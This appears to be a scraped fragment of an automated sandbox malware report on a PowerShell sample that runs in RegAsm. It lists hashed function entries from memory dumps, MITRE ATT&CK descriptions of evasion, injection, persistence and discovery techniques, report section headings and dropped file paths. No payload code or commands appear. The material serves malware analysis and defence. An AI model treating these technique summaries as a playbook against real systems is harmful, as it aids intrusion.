Instruction Fuzzy Hash: 2D212575A00150DFCB50DF99D980AAAFBB2FF84300F1184A5E455AB656C330FC41CBE2

Function 06D64801 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f8576461d5547b4efd133f3d2365ef0c9de4131eab6ba20965adda5fcacdcf
Instruction ID: 84ddf12c9df2241259e4b73f98da675ac2da8c57abdf7db17665523125a217fc
Opcode Fuzzy Hash: 24f8576461d5547b4efd133f3d2365ef0c9de4131eab6ba20965adda5fcacdcf
Instruction Fuzzy Hash: 8F118B71B001959BD728AF2ED814A6A7B9AAFC5390B14C076F604DB275CE61CC52C7A0

Function 06D65EF8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f068f5e2fa392b07657762020519a52f75c4c7f1ea431350f1818faec52ac35f
Instruction ID: bdcb6bb83942d18090d34fe7f5d798a0c663dfdd8c624d34046db348d994546e
Opcode Fuzzy Hash: f068f5e2fa392b07657762020519a52f75c4c7f1ea431350f1818faec52ac35f
Instruction Fuzzy Hash: 7F2158317101148FDB48DB69D958BAE7BF6AF8C711F2540AAF506EB3A0CFB08C058B91

Function 06D666D8 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c477ca0d83103bcdfbba2fb79346f86c7f297a6b3576cc07625d32ada176197
Instruction ID: 4c94fd3ea873125f780d95678ad09273dd8dcb51c1768e5b988b33c3cb7b4883
Opcode Fuzzy Hash: 7c477ca0d83103bcdfbba2fb79346f86c7f297a6b3576cc07625d32ada176197
Instruction Fuzzy Hash: 5A117230B101449FDB549B6AC898BAEBFB6EF88710F154059F902AB3A1CA719C41CBA1

Function 06D65F08 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1309063fe68e3a927e2d3ce4ab21c3b34858e0fb23581414643bbeab3916d7e
Instruction ID: c1978269faa52fad3e18361ac148c3f439a17ee7b9b9f87750e0cc3bc8aa202c
Opcode Fuzzy Hash: e1309063fe68e3a927e2d3ce4ab21c3b34858e0fb23581414643bbeab3916d7e
Instruction Fuzzy Hash: B1218E307101148FDB44DB69E958B6E77F6AF88710F214169F606DB3A4CFB18C058B91

Function 06D66A39 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d68209383c8a257875ecc5cafd0948462950a2fccaa4ffe17adfb6a62e30fc
Instruction ID: f3b79c0e99f2fd0fd1192fd42469fb4479ce353e4f6533c355bcf3e0a76a1602
Opcode Fuzzy Hash: 16d68209383c8a257875ecc5cafd0948462950a2fccaa4ffe17adfb6a62e30fc
Instruction Fuzzy Hash: B311CB707007429FEB06EB38D814AAE7B61EFC1204B54866EC1405F742DFF9AD068BD1

Function 06D634F0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91a846dd7c560b29af23e7cb03bf9d5458b32fea1e01d6449485272f964c05d
Instruction ID: 422514ffe9cf52dd42135e308e1049a9cfc1c7e5e2e94ca2724ee671ad318130
Opcode Fuzzy Hash: c91a846dd7c560b29af23e7cb03bf9d5458b32fea1e01d6449485272f964c05d
Instruction Fuzzy Hash: 811127763001149FCB08DF59E894C5A7BBAEF8C761B108066FA058B372CB32DC61DBA0

Function 012AD477 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4579024359.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12ad000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction ID: 9e5abe3e9a6bc109d24a69ed20272fe5d731811b589a22c370da21b0f36167fe
Opcode Fuzzy Hash: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction Fuzzy Hash: FA11BB75504284CFDB02CF54E5C0B15BBA1FB84318F28C6AAD9494BA56C33AD44ACF62

Function 012AD0F7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4579024359.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12ad000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction ID: 6cb9df6a098443fe4534d6ba9d09c62a5b21a15fb20ecee31e01411a8fb83951
Opcode Fuzzy Hash: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction Fuzzy Hash: BA11DD75504288CFDB06CF54DAC4B15BFB1FB84318F28CAA9D9494BA56C33AE44ACB61

Function 012AD2C7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4579024359.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12ad000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a259ab168aa60f420945387331d15577d1f21daed3aa4e0fa343fa88035ff1f1
Instruction ID: 08210494bb1c244d4203b37d3e3e71d60f3b3a165ad49d86bd6b05f2ed186b64
Opcode Fuzzy Hash: a259ab168aa60f420945387331d15577d1f21daed3aa4e0fa343fa88035ff1f1
Instruction Fuzzy Hash: 5F11E27A504684CFCB02CF14D5C4B19FF61FB84324F24C6A9D9484BA42C33AD406CF51

Function 06D6698E Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b147d427ebb5f4893b4f373c79729698866d3c366197fcbfec474fba80c42373
Instruction ID: 20f8ae489b99138ebc0c2247433b946d66ec080343a8198dafa216fd6dfe3774
Opcode Fuzzy Hash: b147d427ebb5f4893b4f373c79729698866d3c366197fcbfec474fba80c42373
Instruction Fuzzy Hash: 5A110676E44285CFDB51CF12D495A99BFB0EF45B69B1400ABE901DB2A2D738C904CF51

Function 06D66A48 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e9c54c64fa5bbb1fe82677096e62b0149f1ef7202e8a99fa791221057c4115
Instruction ID: d89a4ad71f4ed859812a456f84812b84f5fe2e5b4ce7a95052a665cc82e67cfb
Opcode Fuzzy Hash: 38e9c54c64fa5bbb1fe82677096e62b0149f1ef7202e8a99fa791221057c4115
Instruction Fuzzy Hash: 0A1182707006469BEB49FB39E844A9E7B62EBC1304B50866DC2005F742DFF9AD068BD1

Function 06D64799 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 696e9d66e949d1387fd538be8796cd3cfa339d5d278b38ee057e93186f184ac7
Instruction ID: fca67bd5de177b47afc9830b8ace08f31924cf870f6abac67def30229aceaa1c
Opcode Fuzzy Hash: 696e9d66e949d1387fd538be8796cd3cfa339d5d278b38ee057e93186f184ac7
Instruction Fuzzy Hash: 87014F75305124AF8701DA59DC84CAF7FAEEFD92503014156F549C7261CA309D428BA1

Function 06D65B50 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dd356030319e69accf43a3997217548d5a82a5c920e8599a7c132dd5841d434
Instruction ID: 1e70ad65cd7f5b67402599b761021c9b3b148f5ccca8527066cad5224c629567
Opcode Fuzzy Hash: 6dd356030319e69accf43a3997217548d5a82a5c920e8599a7c132dd5841d434
Instruction Fuzzy Hash: 76F0AF217092945FC64AA3796C2195E3F97DFC260035944AAE1069B392CE688D4683F6

Function 06D64CA0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ebe0987a96d9d17b91c3e947b7ec7e6143e224c7305704ad1abac69e67a4be
Instruction ID: 120b5c689a3da82e873574a7612de66f233180d21c9dacaf6865397a6db86920
Opcode Fuzzy Hash: 45ebe0987a96d9d17b91c3e947b7ec7e6143e224c7305704ad1abac69e67a4be
Instruction Fuzzy Hash: 85F0F0715052606FD322C7169C50DBBBFBEFBC5322B14851AFA868B542C6349C56D3B0

Function 06D647A8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62597a5a416814c4546eaa1fdebe46967f4ebfd01ea20a8bcb8263c2190fc5bd
Instruction ID: ac72a3a0e5852e38b746e63f3cf06d7f48a47e5e427b5e7187506ac1e6e78b22
Opcode Fuzzy Hash: 62597a5a416814c4546eaa1fdebe46967f4ebfd01ea20a8bcb8263c2190fc5bd
Instruction Fuzzy Hash: 1DF0F976700128AF8B44DF5AD884C9EBBAEFF9C260710802AF509C7311CA3199018BA0

Function 06D62DF7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2088ac88edc8d14b1d8595df38b028213ddc2a1d5dc7e222a88bbbe7c04672fa
Instruction ID: 4f3affc8cad31d9360df7b83565089012090d29928e88ddb3d2a6ed067a93acd
Opcode Fuzzy Hash: 2088ac88edc8d14b1d8595df38b028213ddc2a1d5dc7e222a88bbbe7c04672fa
Instruction Fuzzy Hash: 90017C30904B0ADFCB54CFA5D540ADAFBF1FF48304B10852DC45AA7601D335AA42CF80

Function 06D62E08 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0890393f2c2dbabcaeea4ae76d3316bd50dd4b78592d09f782b6162e0a2cd523
Instruction ID: 097be62dcb6b18873c7dced01ceaef23331dc5e5b60ce3056e01efaaed01c164
Opcode Fuzzy Hash: 0890393f2c2dbabcaeea4ae76d3316bd50dd4b78592d09f782b6162e0a2cd523
Instruction Fuzzy Hash: 55F03730D0020ACFCB44DFA9D840AAEBBF1FF48314F10842DD559A7611D739AA42CF80

Function 06D645D8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a575e89ef5e688e745ec288ff46961335caae7958b81d01fc4e18110f35c92
Instruction ID: 2315bef512a8c717b3d042bb7f62658a16cffd39b1e4f82af5fb11f710cff790
Opcode Fuzzy Hash: 25a575e89ef5e688e745ec288ff46961335caae7958b81d01fc4e18110f35c92
Instruction Fuzzy Hash: 00E0D82130A2902B8751657F2C9156BBF9EDBCA560365017FE14DCB342CD514C0683F6

Function 06D65BD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49946c24bb0410fb5724dbd0ba9597254bfb54f87a59dd8d784cfe7af9de3a6b
Instruction ID: becb967a56c92ba3f9462ab6f520b0d9e354257d2c7139276853656d838e71d4
Opcode Fuzzy Hash: 49946c24bb0410fb5724dbd0ba9597254bfb54f87a59dd8d784cfe7af9de3a6b
Instruction Fuzzy Hash: 4EE01A72A0120ABB8B44DFB5D985D6FBBBAEB81244700C568E9099B250EA31DA06D790

Function 06D645E8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42106f70411d8b8e71d610800173d2fc4e56ae32bf2d0e561b4d9250777ff22f
Instruction ID: 3ac4ae70e9d1c8095bb24558602938a79164243825bc81c0e473ef8e497a8057
Opcode Fuzzy Hash: 42106f70411d8b8e71d610800173d2fc4e56ae32bf2d0e561b4d9250777ff22f
Instruction Fuzzy Hash: FBD05E6270512027469475AF688052FA6DEEBCD9A1750003EE61DC7740CE619C0643E5

Function 06D65BCE Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54627ee3263c128f1f89dfc8fb1f23ecc7e95ddacbe9dc8a8a9cd3b557805073
Instruction ID: 0f15d9006b1a4b8bb28aa2726b6fc62663791633bcbe49b8ff81fc0de4b4adcb
Opcode Fuzzy Hash: 54627ee3263c128f1f89dfc8fb1f23ecc7e95ddacbe9dc8a8a9cd3b557805073
Instruction Fuzzy Hash: D9E0D872A0110AEFCB44CFF4DA45A6F7BB2EF80204700C568D509DB100EA31DE02D740

Function 06D65B4E Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be4658b1553b776df558cabebb31d18ee4910776ba9ae29b006d83882f8a2f45
Instruction ID: b60d506b6cf885b0447dee6430b798f1b38d962693e5d45aedc9950f198c0dfe
Opcode Fuzzy Hash: be4658b1553b776df558cabebb31d18ee4910776ba9ae29b006d83882f8a2f45
Instruction Fuzzy Hash: E3E0C276B01511CFC288E3ACD50459A7BDBDEC0211349D46AD20A9B741DEB5CC4283E0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sfqbr.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\RES617A.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0n4hlphe.l1v.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfnvbu32.mp3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqh5fgkf.3qi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5e5cqbb.p5t.psm1

Windows Analysis Report
sfqbr.ps1

Function 00007FFD34545F80 Relevance: 16.3, Strings: 12, Instructions: 1285
COMMON

Function 00007FFD3454BA99 Relevance: 8.0, Strings: 6, Instructions: 523
COMMON

Function 00007FFD3454BB3B Relevance: 6.7, Strings: 5, Instructions: 457
COMMON

Function 00007FFD3454BC35 Relevance: 6.6, Strings: 5, Instructions: 354
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
